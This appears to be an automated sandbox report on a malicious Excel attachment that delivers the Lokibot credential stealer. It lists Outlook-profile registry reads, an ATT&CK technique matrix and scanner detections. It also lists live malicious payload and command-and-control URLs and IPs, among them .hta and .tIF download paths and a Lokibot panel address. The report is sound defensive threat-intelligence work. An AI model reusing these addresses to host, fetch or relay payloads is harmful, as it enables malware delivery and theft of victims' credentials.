Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001

Remote Access Functionality

Yara detected Lokibot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	23 Exploitation for Client Execution	121 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Browser Session Hijacking	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	121 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	11 Obfuscated Files or Information	1 Credentials in Registry	14 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Install Root Certificate	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shipping Documents WMLREF115900.xls	25%	Virustotal		Browse
Shipping Documents WMLREF115900.xls	21%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
Shipping Documents WMLREF115900.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.212.174	true	false	unknown
drive.usercontent.google.com	142.250.186.97	true	false	unknown
mpa.li	5.159.62.244	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://192.3.176.141/36/LOGS%20LOKI.txt	true	unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta	true	unknown
https://mpa.li/uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character	false	unknown
http://94.156.177.220/logs/five/fre.php	true	unknown
http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIF	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.442283646.000000000238B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mpa.li/3	mshta.exe, 00000004.00000002.417853358.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/server1.crl0	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mpa.li/	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/	mshta.exe, 0000000F.00000002.467980452.00000000033D2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.00000000033D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIFe089Q	powershell.exe, 00000011.00000002.486368621.000000001AAF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaicial	mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaP	mshta.exe, 0000000F.00000003.461799715.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.0000000000505000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mpa.li/~	mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta...	mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaLKWWS	mshta.exe, 0000000F.00000002.468383911.0000000004710000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIFp	powershell.exe, 00000005.00000002.442283646.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.481877021.0000000002687000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/a.li	mshta.exe, 0000000F.00000002.467980452.00000000033D2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.00000000033D2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://go.micros	powershell.exe, 00000005.00000002.442283646.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta...al=qui	mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIFe089	powershell.exe, 00000005.00000002.445624079.000000001A933000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/P	mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mpa.li/uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display	mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415290923.000000000051E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000054F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000054F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.0000000000565000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.00000000004EF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000565000.00000004.00000020.00020000.00000000.sdmp, Shipping Documents WMLREF115900.xls, A4230000.0.dr	false		unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaEM	mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htahttp://192.3.176.141/36/	mshta.exe, 00000004.00000003.415792873.0000000002015000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461896844.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461439438.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htau	mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mpa.li/b	mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.442283646.000000000238B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mpa.li/(	mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com	powershell.exe, 0000000E.00000002.493475801.00000000025F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002632000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://drive.usercontent.google.com	powershell.exe, 0000000E.00000002.493475801.00000000027C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002802000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaC:	mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htacepC:	mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/d	mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.442283646.0000000002181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493475801.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.481877021.00000000020F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.525200157.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493058741.000000000229F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta;	mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.cr	powershell.exe, 00000005.00000002.445947202.000000001C85E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/36/goodthin	powershell.exe, 00000005.00000002.442283646.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.481877021.0000000002687000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.176.141	unknown	United States	36352	AS-COLOCROSSINGUS	true
5.159.62.244	mpa.li	Germany	59507	TLN-ASDE	false
5.159.62.243	unknown	Germany	59507	TLN-ASDE	false
94.156.177.220	unknown	Bulgaria	43561	NET1-ASBG	true
142.250.186.142	unknown	United States	15169	GOOGLEUS	false
216.58.212.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540834
Start date and time:	2024-10-24 08:44:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Sample name:	Shipping Documents WMLREF115900.xls
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLS@34/43@9/7
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target mshta.exe, PID 2600 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3484 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:45:23	API Interceptor	113x Sleep call for process: mshta.exe modified
02:45:27	API Interceptor	863x Sleep call for process: powershell.exe modified
02:45:36	API Interceptor	13x Sleep call for process: wscript.exe modified
02:46:05	API Interceptor	452x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.176.141	Logs.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141/43/LCRDDFR.txt
	logicalwayofgreatthingswhichcreatedwithgreatwayofgood.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/43/newthingswithgreatfturuewithgreatdaywellbetterforme.tIF
	greatwayforbestthignswithwhonotwanttodo.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/42/simplethingswithgreatfuturebetteronegetbackforme.tIF
	PPM435679.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/551/cw/nicevisionnicemagicalthinsforentirelifetogetmebackwithgreat.hta
	Purchase order.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/550/cw/fullofconfidentwithgreatnicethingswedonewithgreatattitude.hta
	Payment Advice080.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/456/cs/verynicesweetgirlsareeverywheretogetmein.hta
	Purchase order.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/455/ed/createnewthingswithmygrilstobeinline.hta
	Purchase order.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/233/cbn/nicegirlwithgreatthingonthisdealingfgood.hta
	Purchase order.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/233/cbn/nicegirlwithgreatthingonthisdealingfgood.hta
	Purchase order.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/233/cbn/nicegirlwithgreatthingonthisdealingfgood.hta
94.156.177.220	Logs.xls	Get hash	malicious	Lokibot	Browse	94.156.177.220/logs/five/fre.php
